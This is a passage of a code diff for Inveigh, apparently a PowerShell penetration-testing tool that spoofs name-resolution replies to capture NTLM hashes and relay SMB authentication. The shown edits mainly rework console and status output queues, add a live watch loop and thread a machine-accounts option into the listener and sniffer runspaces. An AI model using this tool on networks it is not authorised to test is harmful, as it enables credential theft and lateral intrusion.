$inveigh.console_queue.RemoveRange(0,1) - } - default - { - $inveigh.host.ui.WriteLine($inveigh.console_queue[0]) - $inveigh.console_queue.RemoveRange(0,1) - } - } - } if($inveigh.file_output) { @@ -1743,7 +1785,6 @@ $sniffer_scriptblock = $inveigh.NTLMv2_file_queue.RemoveRange(0,1) } } - } } @@ -1779,7 +1820,8 @@ Function HTTPListener() $HTTP_powershell.AddScript($SMB_NTLM_functions_scriptblock) > $null $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Challenge).AddArgument( $SMBRelay).AddArgument($SMBRelayTarget).AddArgument($SMBRelayCommand).AddArgument($SMBRelayUsernames).AddArgument( - $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument($Repeat).AddArgument($ForceWPADAuth) > $null + $SMBRelayAutoDisable).AddArgument($SMBRelayNetworkTimeout).AddArgument($Repeat).AddArgument( + $MachineAccounts).AddArgument($ForceWPADAuth) > $null $HTTP_handle = $HTTP_powershell.BeginInvoke() } @@ -1796,7 +1838,7 @@ Function SnifferSpoofer() $sniffer_powershell.AddScript($sniffer_scriptblock).AddArgument($LLMNR_response_message).AddArgument( $NBNS_response_message).AddArgument($IP).AddArgument($SpooferIP).AddArgument($SMB).AddArgument( $LLMNR).AddArgument($NBNS).AddArgument($NBNSTypes).AddArgument($Repeat).AddArgument( - $ForceWPADAuth).AddArgument($RunTime) > $null + $MachineAccounts).AddArgument($ForceWPADAuth).AddArgument($RunTime) > $null $sniffer_handle = $sniffer_powershell.BeginInvoke() } @@ -1812,6 +1854,76 @@ if(($inveigh.HTTP) -or ($inveigh.HTTPS)) # Sniffer/Spoofer Start - always enabled SnifferSpoofer + +if($inveigh.console_output) +{ + + :console_loop while(($inveigh.running) -and ($inveigh.console_output)) + { + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "*local administrator*" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*NTLMv1 challenge/response written*" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) + } + "*NTLMv2 challenge/response written*" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) + } + "* relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "Service *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } + + if($inveigh.console_input) + { + if([console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + } + + Start-Sleep -m 5 + } +} + } #End Invoke-Inveigh @@ -1833,8 +1945,8 @@ Function Stop-Inveigh $inveigh.HTTP_listener.Close() } - Write-Warning "Inveigh exited at $(Get-Date -format 's')" - $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|out-null + $inveigh.status_queue.add("Inveigh exited at $(Get-Date -format 's')")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - Inveigh exited")|Out-Null if($inveigh.file_output) { @@ -1843,7 +1955,7 @@ Function Stop-Inveigh } else { - Write-Warning "Inveigh isn't running" + $inveigh.status_queue.add("Inveigh isn't running") | Out-Null } if($inveigh.HTTPS) @@ -1860,19 +1972,49 @@ Function Stop-Inveigh } catch { - Write-Warning "SSL Certificate Deletion Error - Remove Manually" - $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually")|out-null + $inveigh.status_queue.add("SSL Certificate Deletion Error - Remove Manually")|Out-Null + $inveigh.log.add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually")|Out-Null if($inveigh.file_output) { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"| Out-File $Inveigh.log_out_file -Append + "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually"|Out-File $Inveigh.log_out_file -Append } } } } else { - Write-Warning "Inveigh isn't running" + $inveigh.status_queue.add("Inveigh isn't running")|Out-Null + } + + while($inveigh.status_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.status_queue[0] + $inveigh.newline) + $inveigh.status_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.status_queue[0]) + { + "Inveigh exited at *" + { + write-warning $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + "SSL Certificate Deletion Error - Remove Manually" + { + write-warning $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.status_queue[0] + $inveigh.status_queue.RemoveRange(0,1) + } + } + } } } @@ -1884,43 +2026,51 @@ Function Get-Inveigh #> while($inveigh.console_queue.Count -gt 0) { - switch -wildcard ($inveigh.console_queue[0]) + if($inveigh.output_stream_only) { - "*local administrator*" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "*NTLMv1 challenge/response written*" - { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } - $inveigh.console_queue.RemoveRange(0,1) - } - "*NTLMv2 challenge/response written*" - { - if($inveigh.file_output) - { - write-warning $inveigh.console_queue[0] - } - $inveigh.console_queue.RemoveRange(0,1) - } - "* relay *" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - "Service *" - { - write-warning $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) - } - default + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) { - write-output $inveigh.console_queue[0] - $inveigh.console_queue.RemoveRange(0,1) + "*local administrator*" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*NTLMv1 challenge/response written*" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) + } + "*NTLMv2 challenge/response written*" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) + } + "* relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "Service *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } } } } @@ -1977,24 +2127,87 @@ Function Watch-Inveigh { <# .SYNOPSIS - Watch-Inveigh will enabled real time console output. + Watch-Inveigh will enabled real time console output. If using this cmdlet through a shell, test to ensure that it doesn't hang the shell. #> - if($inveigh) + if($inveigh.tool -ne 1) { - $inveigh.console_output = $true - } -} + if($inveigh.running) + { + Write-Output "Press any key to stop real time console output" + $inveigh.console_output = $true -Function Hide-Inveigh -{ - <# - .SYNOPSIS - Hide-Inveigh will disable real time console output. - #> - if($inveigh) + :console_loop while(($inveigh.running) -and ($inveigh.console_output)) + { + while($inveigh.console_queue.Count -gt 0) + { + if($inveigh.output_stream_only) + { + write-output($inveigh.console_queue[0] + $inveigh.newline) + $inveigh.console_queue.RemoveRange(0,1) + } + else + { + switch -wildcard ($inveigh.console_queue[0]) + { + "*local administrator*" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "*NTLMv1 challenge/response written*" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) + } + "*NTLMv2 challenge/response written*" + { + if($inveigh.file_output) + { + write-warning $inveigh.console_queue[0] + } + $inveigh.console_queue.RemoveRange(0,1) + } + "* relay *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + "Service *" + { + write-warning $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + default + { + write-output $inveigh.console_queue[0] + $inveigh.console_queue.RemoveRange(0,1) + } + } + } + } + + if([console]::KeyAvailable) + { + $inveigh.console_output = $false + BREAK console_loop + } + + Start-Sleep -m 5 + } + } + else + { + Write-Output "Inveigh isn't running" + } + } + else { - $inveigh.console_output = $false + Write-Output "Watch-Inveigh cannot be used with current external tool selection" } + } Function Clear-Inveigh @@ -2012,11 +2225,17 @@ Function Clear-Inveigh $inveigh.log_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv1_file_queue = New-Object System.Collections.ArrayList $inveigh.NTLMv2_file_queue = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = @() + $inveigh.SMBRelay_failed_list = @() } } Function Get-InveighHelp { + <# + .SYNOPSIS + Get-InveighHelp will cmdlet list. + #> "-"*26 + "(Get-InveighHelp)" + "-"*26 | Write-Output write-output "Invoke-Inveigh - Start Inveigh with or without parameters" write-output "Get-Inveigh - Get queued console output" @@ -2026,7 +2245,6 @@ Function Get-InveighHelp write-output "Get-InveighNTLMv2 - Get captured NTLMv2 challenge/response hashes" write-output "Get-InveighStats - Get captured challenge/response counts" write-output "Watch-Inveigh - Enable real time console output" - write-output "Hide-Inveigh - Disable real time console output" write-output "Clear-Inveigh - Clear capture, log, smbrelay, and spoof lists" write-output "Stop-Inveigh - Stop Inveigh" "-"*69 | Write-Output |